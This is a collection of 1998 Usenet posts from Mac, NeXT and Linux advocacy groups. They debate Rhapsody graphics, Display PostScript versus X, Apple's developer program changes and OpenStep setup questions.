Wasn't abandoning QD GX supposed to destroy Apple?
>
> For what it is worth, my proxy is sitting on my desk now, and I have
> a very brief time to get it in the mail in time for the stockholder
> meeting. It is a pity that there is no easy way to say, even en
> masse "I will vote against your appiontment to the BoD because
> of the following move" before the day itself. Even after voting,
> there is little way for them to know why a group of shareholders
> voted the way they did. The stockholders thus have little way
> of communicating why they are acting the way they are.
>
> NB, I do not think stockholders should be running a company
> particularly, but it is good for directors to know the reasons
> why the stockholders react the way they do.
Agreed. This is one of the things that bothers me about proxy statements.
You can vote "no" on a given item and no one knows why you voted against
it.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 13:07:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14E8528-B9831@206.165.43.126>
References: <joe.ragosta-0604980649240001@wil84.dol.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Joe Ragosta <joe.ragosta@dol.net> said:
[laughing at my quote from Jef Raskin concerning the GUI merger between
NeXT and MacOS]
>
> Let's see. You want to know about the merged Rhapsody GUI. So, rather
than
> talk to people who had used NeXT, Rhapsody, and Mac OS or even looking
for
> yourself, you drag up a vintage quote from the infancy of the GUI
personal
> computer.
Quoting the guy who invented the Mac, speaking as THE invited guru for GUIs
in the "Next 50 Years of Computing" issue of the most prestigious computer
magazine in the world (CACM) for its 40th anniversary issue on "the future
of computer interface design."
Yep. That's a rolling on the floor laughing quote, alright.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 13:09:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14E8598-BB262@206.165.43.126>
References: <maury-0604981132420001@ts77-09.tor.istar.ca>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
> In article <B14DD5D9-5FDE2@206.165.43.142>, "Lawson English"
> <english@primenet.com> wrote:
>
> > OTOH, I *have* done "to the metal" graphics work on a 604
> [snip]
> > I'm pretty confident, based on my experience, that implementing GX
> bitmap
> > drawing in one pass is the easiest and most efficient way of doing it.
>
> I'm pretty confident that the NSImageView that I drag into my apps is
> the "easiest and most efficient way". No code at all.
Now THAT certainly contributed to the conversation...
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Mon, 06 Apr 1998 15:08:03 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35293623.24BC@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <3523BFDF.529161F8@nstar.net> <6g3igl$452$3@anvil.BLaCKSMITH.com> <3525C014.1597@nstar.net> <6g5d2o$sao$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Nathan Urban wrote:
> > color-ls on a mono screen at least gives bold.
> Do you know of _any_ commercial Unix vendor that has shipped a color 'ls'?
> I think they mostly think of it as gratuitous (and ugly) eye-candy, not
> suitable for serious use.
Well, that's definitely the touchstone, then. When vendors call a
feature 'gratuitous', that's usually a sign they've done their homework.
> I know _I_ never use it, even on systems that
> have it; it makes things more confusing and harder on the eyes for me.
> (One of the primary reasons I like NEXTSTEP: they know about simplicity
> and aesthetics in visual design.) color 'ls' has all the eye-pleasing
> aesthetics of a man's abdomen torn open by a hand grenade.
That's really too bad. More stimulatory info = bad.
I suppose it's one thing if you don't like having a television tuner or
web channel on your background, like Active Desktop. Then I hear
"aesthetics" and I start to agree. But this sort of trash-talk is
perfect sour grapes. You say it's not useful to be able to change the
colors on your directory listings to help indicate that "this is a
directory, this is a regular file, this has execute permissions, this
has..." whatever? Maybe you have really small directories.
Or maybe you've just got a double-standard going. You don't seem to have
an objection to TrueColor 64x64 icons in the browser...
> 'ls -F'
> works well enough for me. I've usually only seen color 'ls' installed
> on k00l hackerz' systems like Linux.
Oh, that must be what I'm using. Didn't know I belonged to that cult,
cool.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 9 Apr 1998 14:20:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1528A93-88A8D@206.165.43.139>
References: <6giqa5$pbv$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
> In <6gj6i9$b1n2@onews.collins.rockwell.com> Erik M. Buck claimed:
> > Regarding the Non-PS way of finding glyph bounding boxes and rendering
> the
> > shape of a glyph along a path see the following:
>
> One that gets you a lot closer is to use PS's bounding box calc
routine,
> then cache that. I'm not sure (not having it to use handily) what the -
> (NSRect)boundingRectForGlyph:(NSGlyph)aGlyph call does, but I do know the
> bounding path one is solid as rock.
>
> Maury
>
This call is exactly the call that Dan Lipton, in his response to your
claims about Rhapsody graphics being as fast as GX glyph shapes, would
probably be too slow to use in real-time editing of path-on-text. I don't
know about the NS call, but unless you have timing info to show that the PS
call is considerably faster than Dan thinks it is, I think that you must
have missed his reply to you:
Dan Lipton said:
" I can't speak
for Display PostScript, but I do know for a fact that PostScript does not
have any way to compute the bounds of glyphs on a glyph by glyph basis -
short of converting the glyphs to paths and calling charpath followed by
pathbbox. Not a speedy process."
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Thu, 09 Apr 1998 16:24:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0904981624100001@wil59.dol.net>
References: <01bc455b$1be404c0$18f0bfa8@davidsul> <B1526CE7-65D6E@207.217.155.85>
In article <B1526CE7-65D6E@207.217.155.85>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
> >I also hope several developers pass this on to the media, I am sure the
> >media would love to flame apple for this and god knows apple deserves a
> >good spanking for this
>
> A spanking over a fairly reasonable tactical move sends the wrong message.
> This move would not have been met with intense cynicism if developers
> thought Apple had an overall clue and direction and appreciation of how
> developers support Apple. It starts from the top, and unfortunately, is
> beyond the control of ADR.
So, in other words, you're just assuming that, because it's Apple, they
did the wrong thing.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 9 Apr 1998 21:30:10 GMT
Organization: Digital Fix Development
Message-ID: <6gjel2$qe4$1@news.digifix.com>
References: <6giqa5$pbv$1@ns3.vrx.net> <B1528A93-88A8D@206.165.43.139>
In-Reply-To: <B1528A93-88A8D@206.165.43.139>
On 04/09/98, "Lawson English" wrote:
>
>
>> In <6gj6i9$b1n2@onews.collins.rockwell.com> Erik M. Buck claimed:
>> > Regarding the Non-PS way of finding glyph bounding boxes and
rendering
>> the
>> > shape of a glyph along a path see the following:
>>
>> One that gets you a lot closer is to use PS's bounding box calc
>routine,
>> then cache that. I'm not sure (not having it to use handily) what
the -
>> (NSRect)boundingRectForGlyph:(NSGlyph)aGlyph call does, but I do
know the
>
>> bounding path one is solid as rock.
>>
>> Maury
>>
>
>This call is exactly the call that Dan Lipton, in his response to
>your claims about Rhapsody graphics being as fast as GX glyph
>shapes, would probably be too slow to use in real-time editing
>of path-on-text. I don't know about the NS call, but unless you
>have timing info to show that the PS call is considerably faster
>than Dan thinks it is, I think that you must have missed his reply
>to you:
>
>Dan Lipton said:
>" I can't speak
>for Display PostScript, but I do know for a fact that PostScript does
not
>have any way to compute the bounds of glyphs on a glyph by glyph
basis -
>short of converting the glyphs to paths and calling charpath followed
by
>pathbbox. Not a speedy process."
OpenStep always used the .afm files, and I believe this
information is all stored in there..
Not much calculation is required, other than just applying the
current transformation matrix and the positioning to the existing
bounding box.
I've done applications in DPS that do real-time bending of
text... if you can bend it in real time (where all the letters change
and need to recalculate at the same time) editing should be less
intensive.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 98 14:10:57 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1528786-C9E9A@207.217.155.85>
References: <ericb-0904981637520001@132.236.171.104>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.mac.oop.powerplant,
nntp://news.earthlink.net/comp.sys.mac.programmer.codewarrior,
nntp://news.earthlink.net/comp.sys.next.advocacy,
nntp://news.earthlink.net/comp.sys.next.programmer
>That doesn't give Apple the right to alter contracts. If they want to
>decrease the discount, or raise the fees for renewals or new accounts,
>fine. But they're cutting off *existing* subscribers.
>
To be fair here... Apple's "contract" for the Associates Program gives them
the right to change the terms and conditions at any time. Now, to be fair
the other way, changing terms mid-stream may not always be positively
received, and may affect resubscribe rates, participation in Apple
endeavors, support for the platform, etc. Fred Giuffrida's analysis
suggests that time will tell and that the best we can do in assessing
whether or not it was a bad decsion is to later cite April 7, 1998 as one
of those days:
http://home.earthlink.net/~paladinsoft/AppleBits/NewDevProg.html
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 21:26:41 GMT
Organization: Digital Fix Development
Message-ID: <6gjeeh$qdm$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com> <ericb-0904981710010001@132.236.171.104>
In-Reply-To: <ericb-0904981710010001@132.236.171.104>
On 04/09/98, Eric Bennett wrote:
>In article <6ggmk2$jdl$1@news.digifix.com>, sanguish@digifix.com
(Scott
>Anguish) wrote:
>
>> The Online program is free. It gets you the samples, and
the
>> manuals.
>
>I love the spin on calling this a new program, since all this stuff
was
>available before.
>
Really? You could just download CodeWarrior Lite?
>> Now, as far as Rhapsody is concerned it is leaving a gap,
but
>> only because of the time-frame.... However if you join Select
you're
>> still covered.
>
>This is a gap Apple should not be leaving. Presumably they are
interested
>in getting more developers for their new OS, but it doesn't show...
>
The timing is unfortunate. As a Rhapsody developer I know
that as much as anyone.
Unfortunately, WWDC is the date for the clearing of the fog.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 9 Apr 1998 16:53:39 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6giuej$saq$1@ns3.vrx.net>
References: <6giqa5$pbv$1@ns3.vrx.net> <B1528A93-88A8D@206.165.43.139>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1528A93-88A8D@206.165.43.139> "Lawson English" claimed:
> This call is exactly the call that Dan Lipton, in his response to your
> claims about Rhapsody graphics being as fast as GX glyph shapes, would
> probably be too slow to use in real-time editing of path-on-text.
And this is exactly the call that we discussed in e-mail. He has not sent
me any new specifics, I assume my system would work.
> for Display PostScript, but I do know for a fact that PostScript does not
> have any way to compute the bounds of glyphs on a glyph by glyph basis -
> short of converting the glyphs to paths and calling charpath followed by
> pathbbox. Not a speedy process."
Works for me.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 13:12:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14E8634-BD713@206.165.43.126>
References: <6gaur3$fhe$7@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
In <6g8no9$627$1@interport.net> float@interport.net wrote:
Kenneth R. Kinder (Ken@_$spamless$_KenAndTed.com) wrote:
[...]
> Yes, my biggest problem with NeXTStep is that it's impossible to get
> > away with using only the keyboard, for most things. Even Win3.1 was
> > better about that.
> >
> A recognised failing in NEXTSTEP, which OPENSTEP addresses. If you
> compare
> NEXTSTEP and OPENSTEP applications you will find that the latter are
> much
> more readily navigated using a mouse.
>
I think that he was saying that he wanted to use the keyboard for most
things.
Which is kinda silly, IMHO.
Keyboards aren't useful for a lot of tasks as compared to the mouse.
And if you want to batch-process something in Rhaposdy, AS-style scripting
should be available for virtually every human-interface task anyway.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The never ending X debate (WAS: Re: NeXT style scroll bars)
Date: Mon, 06 Apr 1998 15:17:22 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35293852.1B46@nstar.net>
References: <slrn6hh8u3.57m.sal@panix3.panix.com> <3518B383.49A1D749@nstar.net> <slrn6hj304.e9k.sal@panix3.panix.com> <3519C41D.2B9F@nstar.net> <slrn6hnmtr.5p.sal@panix3.panix.com> <351BE06A.68849F9B@nstar.net> <slrn6ho882.mlr.sal@panix3.panix.com> <351d6202.0@nnrp1.news.uk.psi.net> <slrn6i2gsk.a5o.sal@panix3.panix.com> <6frnos$e4s$1@cronkite.cygnus.com> <3521DC87.5515B046@nstar.net> <slrn6i6e1v.j6l.sal@panix3.panix.com> <3523444C.1418465B@nstar.net> <slrn6i7lum.kjl.sal@panix3.panix.com> <3523D9A1.80009B7C@nstar.net> <slrn6i81gr.kjl.sal@panix3.panix.com> <35241B5B.246B7869@nstar.net> <6g5lo2$276$1@nnrp1.dejanews.com>
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malcolm@plsys.co.uk wrote:
> In article <35241B5B.246B7869@nstar.net>,
> "Michael J. Peck" <mjpeck@nstar.net> wrote:
> > > You might have used it for a while, but it is clear that you
> > > do not know enough about it to contrast and compare it to X.
> >
> > That's somewhat true, so it's a good thing I don't make posts to this
> > newsgroup attempting to do that very thing. Like I said, I'm no
> > PostScript programmer, and I defy you to find the posting in which I
> > critique DPS as a display layer...
> >
> Sorry...
[quote]
> > >How's DPS going to handle the DGA extension?
> >
> > I prove my point any you try to redirect the agrument into somemore
> > nonsense. What does this have to do with my statement that DPS was added to
> > X to provide functionality that X is lacking? Are you just looking for a
> > reason to flame me?
>
> Relax. The DGA extension to X can't be performed through DPS, plain and
> simple. This is a part of X that can't be hosted on top of DPS.
>
> Now, you may say "of course, DGA is direct framebuffer access, so by
> definition you'd have to use Interceptor." I'd agree, but it's an
> example of how low-level X actually is, and why it can't be completely
> hosted by DPS. Period.
[/quote]
This looks like a discussion of X to me. What was your point, mmalcolm?
This is a discussion of "DPS as a display layer"? C'mon, grow up.
[quote]
> > Is the hit that DPS takes really that bad?
>
> I doubt it's a speed hit; I don't think it can be done. The way Sean
> described this reminded me of Qt, which also cannot use non-rectangular
> widgets (at least, the existing widgets and event model are based on
> rectangular widgets). I guess the guarantee that underlying windows will
> not change is a clue to the fact that irregular DPS windows are simply
> performing a grab on the underlying window and pasting it into the
> background appropriately. This is exactly what I have to do with Qt
> widgets if I want them non-rectangular.
[/quote]
I make a supposition about DPS. This is a critique of "DPS as a display
layer"? This is reaching...
[quote]
> > The Red Book, under "Mixing OpenGL and X Rendering", suggests that such
> > a thing is rather tricky and problematic, no matter what your underlying
> > graphics framework is. A better bet is to get the whole job done in
> > OpenGL, since it supports 2D primitives.
>
> Uh, this is awkwardly written. Here's what I mean in the first sentence:
> according to the book, mixing X rendering with OpenGL rendering in one
> window is problematic. The better solution is to restrict all rendering
> in a single window to a single API. Since X is inadequate, and DPS
> doesn't do 3D anyway, but the window-based separation of 2D and 3D is
> becoming anachronistic, why not consolidate under one umbrella?
>
> I suppose QTML can already do this. That raises some very sticky
> questions, including: OpenGL as a backend for QD3D? QuickDraw GX an
> option? How does DPS fit in?
[/quote]
This is getting worse, mmalcolm? A discussion of OPENGL?!
[quote]
> > Remember that much in web-graphics has been optimized for 8-bit
> > color table display (thanks to GIF).
>
> Which means what? The DPS still performs an ordered dither, compared to
> the highly-superior Floyd-Steinberg employed by nearly every modern
> graphical system. Use 216 colors for any comparison you like, the
> diffuse dither will win hands-down every time.
>
> I suppose its possible that your X server was, again, poorly configured
> or written. It's possible you were using an older server, perhaps based
> on X11R4 or R5, wherein threshold dither was used by default instead of
> a diffuse dither. That could account for your problem. If so, I suggest
> you do your X-based tests with a more modern system.
[/quote]
Another discussion of X Windows?
Oh, I see. Search for all 'DPS' where author='Michael Peck'. Dump
results in newsgroup. Clever boy.
MJP
x
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Mon, 06 Apr 1998 15:18:56 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <352938B0.614D@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <us5d8eywho8.fsf@ai.mit.edu> <6g53vk$r9p$1@ironhorse.plsys.co.uk> <o7KyEfuRCBOD@cc.usu.edu>
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root@127.0.0.1 wrote:
> And if for some reason you just can't stand dropping into a command
> line, you can always use the OpenSesame Service which allows you to
> open any application as root. Select the install package in FileViewer,
> hit the Services->OpenSesame->OpenAsRoot, enter the root password in
> the panel. Boom! Installer opened as root, install with no problem.
>
> Sheesh. If Mr. Peck would spend half as much time reading the docs
> as he does whining, he might be somewhat productive.
That's my name, I didn't catch yours...?
MJP
From: jstrout@ucsd.edu (Joseph J. Strout)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 15:03:51 -0700
Organization: UCSD
Message-ID: <jstrout-ya02408000R0904981503510001@news.ucsd.edu>
References: <6ggiu7$auu$1@vixen.cso.uiuc.edu> <B15138CC-19EEA@206.165.43.150>
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In article <B15138CC-19EEA@206.165.43.150>, "Lawson English"
<english@primenet.com> wrote:
>This action by Apple doesn't increase revenues from developers
>significantly and only serves to discourage use of the SDKs by the smaller,
>more innovative houses, like shareware games writers. I can pretty much
>guarantee you that any neophyte games writer will simply IGNORE the
>Macinitosh once he/she learns that the Games Sprocket SDK is no longer
>available online and that you need to pay Apple $500 to obtain it.
Just my $0.02 worth: I didn't generally use the SDKs before, and especially
won't use them now. Game Sprockets is a good example: I looked at it, and
it did some nice things, but it would make my software not work on 68K
Macs; if I code the same functionality (or at least the parts I would
actually use) myself, I can make it run on all Macs. So many neophyte
games writers will ignore the SDKs, but not necessarily ignore the Mac.
Hmm, come to think of it though, I did actually use the Speech Recognition
SDK...
,------------------------------------------------------------------.
| Joseph J. Strout Department of Neuroscience, UCSD |
| jstrout@ucsd.edu http://www.strout.net |
`------------------------------------------------------------------'
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 9 Apr 1998 21:58:56 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gjgb1$c7e$1@anvil.BLaCKSMITH.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
ericb@pobox.com (Eric Bennett) wrote:
> In article <6giu6s$6j$5@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com\
> wrote:
>> Apparently, Apple is planning on providing on providing a very low cost
>> academic program to similiarly encourage that crowd....
>
> WHEN???
I don't know.
> Rhapsody DR1 was released last September. That was seven months ago! How
> long does it take to decide how much you're going to charge .edu users?
Apple should release their educational plans ASAP, agreed.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: first day with OS
Date: 9 Apr 1998 22:30:00 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6gji58$c7e$2@anvil.BLaCKSMITH.com>
References: <01bc462d$87ca8380$40f0bfa8@davidsul>
[ ...multiple newsgroups deleted; don't cross-post between the NeXT groups,
please... ]
"NeXT Newbie" <macghod@concentric.net> wrote:
> Some impressions of OS 4.2
> 1) This OS sure was designed for big monitors! I have a 17 inch and it
> seems to small. Seems like you would want at least a 20 inch monitor
17" monitors are fine-- but you do want 1024x768 or better, though.
> 2) The mouse really annoys me. It reminds me of when I first used windows
> 3.1, I was like god I hate how jerky the mousee is. The mouse movement in
> OS 4.2 seems like how it was in windows 3.1, windows 95 definitely seems
> much better.
Hmm. Have you tried adjusting the mouse preferences, or used one of the
mouse scaler apps? Basicly, the mouse supports multi-step acceleration-- and
the normal behavior is that if you move the mouse slowly, it moves slowly; if
you move it quickly, it really zooms.
Once you get used to it, you might prefer it-- but you can adjust it
otherwise. I don't have an URL handy; check out the standard NeXT FTP
sites....
> 3) How do you connect to the internet with ppp?
Try:
http://www.peak.org/~luomat/articles/ppp
...it's a little out-of-date, but a worthwhile starting point. Might try
www.stepwise.com for other links, too.
> 4) once I get up and going with ppp, what do I use for usenet?
Alexandra.app or RadicalNews.app are GUI solutions, or you could do standard
Unix readers like GNUS, trn, slrn, pine, elm, etc.
> 5) where is the option to change the monitors resolution and bits of color?
The Display preferences section of /NextAdmin/Configure.app.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "C.S." <caleb@diehlgraphsoft.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 19:01:42 -0400
Organization: @Home Network
Message-ID: <352D5356.2E225B82@diehlgraphsoft.com>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggrql$oop$1@ironhorse.plsys.co.uk> <6gisof$bht$1@interport.net> <joe.ragosta-0904980135340001@wil68.dol.net>
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To: Joe Ragosta <joe.ragosta@dol.net>
Hey, boys, how about taking this thread back to the advocacy groups where it
belongs? Stop crossposting to comp.sys.mac.oop.powerplant etc.
Thanks.
Caleb Strockbine
caleb@diehlgraphsoft.com
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 23:02:14 GMT
Organization: I don't think so
Message-ID: <slrn6iql0f.cvd.jason@jhste1.dyn.ml.org>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com> <352D4957.84AE1890@alexa.com>
Joshua Winsor wrote:
>> Now, as far as Rhapsody is concerned it is leaving a gap, but
>> only because of the time-frame.... However if you join Select you're
>> still covered.
> Download GnuStep and MKLinux, all free, MKLinux paid for by Apple, and
>you are a Rhapsody developer.
Is GNUStep that far along? BTW, if you want to run Linux on the Mac,
consider Linux/PowerPC (if you have a PCI PowerMac):
http://www.linuxppc.org/
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: nhughes@sunflower.com (Nathan Hughes)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Thu, 09 Apr 1998 23:02:55 GMT
Organization: is a sign of a sick mind.
Message-ID: <352d5190.286081406@news.sunflower.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net>
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On or about Thu, 09 Apr 1998 12:06:05 -0400, in comp.sys.mac.advocacy
trev@sc.edu (Trevor Zion Bauknight) exclaimed :
>In article <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>
>> years of academic work. The disaster affects 10 - 15 faculty and doctoral
>> candidates directly posing a "serious blemish" for the School of Business.
>
>Ouch! That's not funny. One can only hope this gets well-publicized...
I personally think that ANYONE who counts on someone else to safeguard
their data deserves to lose it. Too many users are still plain
clueless when it comes to computers, maybe this will wake some of them
up.
In a related view, I think its about time universities require at
least two semesters of computer basics and I really think everyone
enrolling in a university should be required to own a computer. You
can buy a usable system for $400.
Nathan A. Hughes
MFA Candidate
The University Theatre KU
http://sunflower.com/~nhughes
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Thu, 9 Apr 1998 18:58:23 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6gjk52$iqk$2@usenet57.supernews.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <joe.ragosta-0904980140070001@wil68.dol.net>
x-no-archive: yes
Joe Ragosta wrote:
>rr6013@yahoo.com wrote:
>
>> http://www.mercurynews.com/business/center/stanford09.htm
>>
>> Stanford.edu is the new PosterChild for Apple today in the wake of
a
>> disaster which cost Windows users dearly. Mac users and Unix
mainframes
>> emerged unscathed from a network "upgrade" which went arwy. Lost
in the
>> maintenance were Phd. dissertations, databases, files and research
notes
>> covering _years_ of work. Stanford Univ. School of Business,
Windows-based
>> curriculum, has "tarnished" the institution's reputation and
"erased"
>> years of academic work. The disaster affects 10 - 15 faculty and
doctoral
>> candidates directly posing a "serious blemish" for the School of
Business.
>
>The surprising thing is that they actually came right out and said
that
>Mac users were exempt from the problems.
>
>Just one more example that where Microsoft wants you to go today may
not
>be where _you_ want to go.
Really? And just how does a Mac get your files back after
you've overwritten your volume with a partial backup which
doesn't include those files?
Pretty shameless, Joe.
Z
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Thu, 9 Apr 1998 18:51:50 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6gjk51$iqk$1@usenet57.supernews.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <01bd63f6$a5dbec00$c07498cf@edwint.rauland.com>
x-no-archive: yes
Edwin E. Thorne wrote:
>
>Rex Riley <rriley@yahoo.com> wrote in article
><6gipq1$9g2$1@ha2.rdc1.sdca.home.com>...
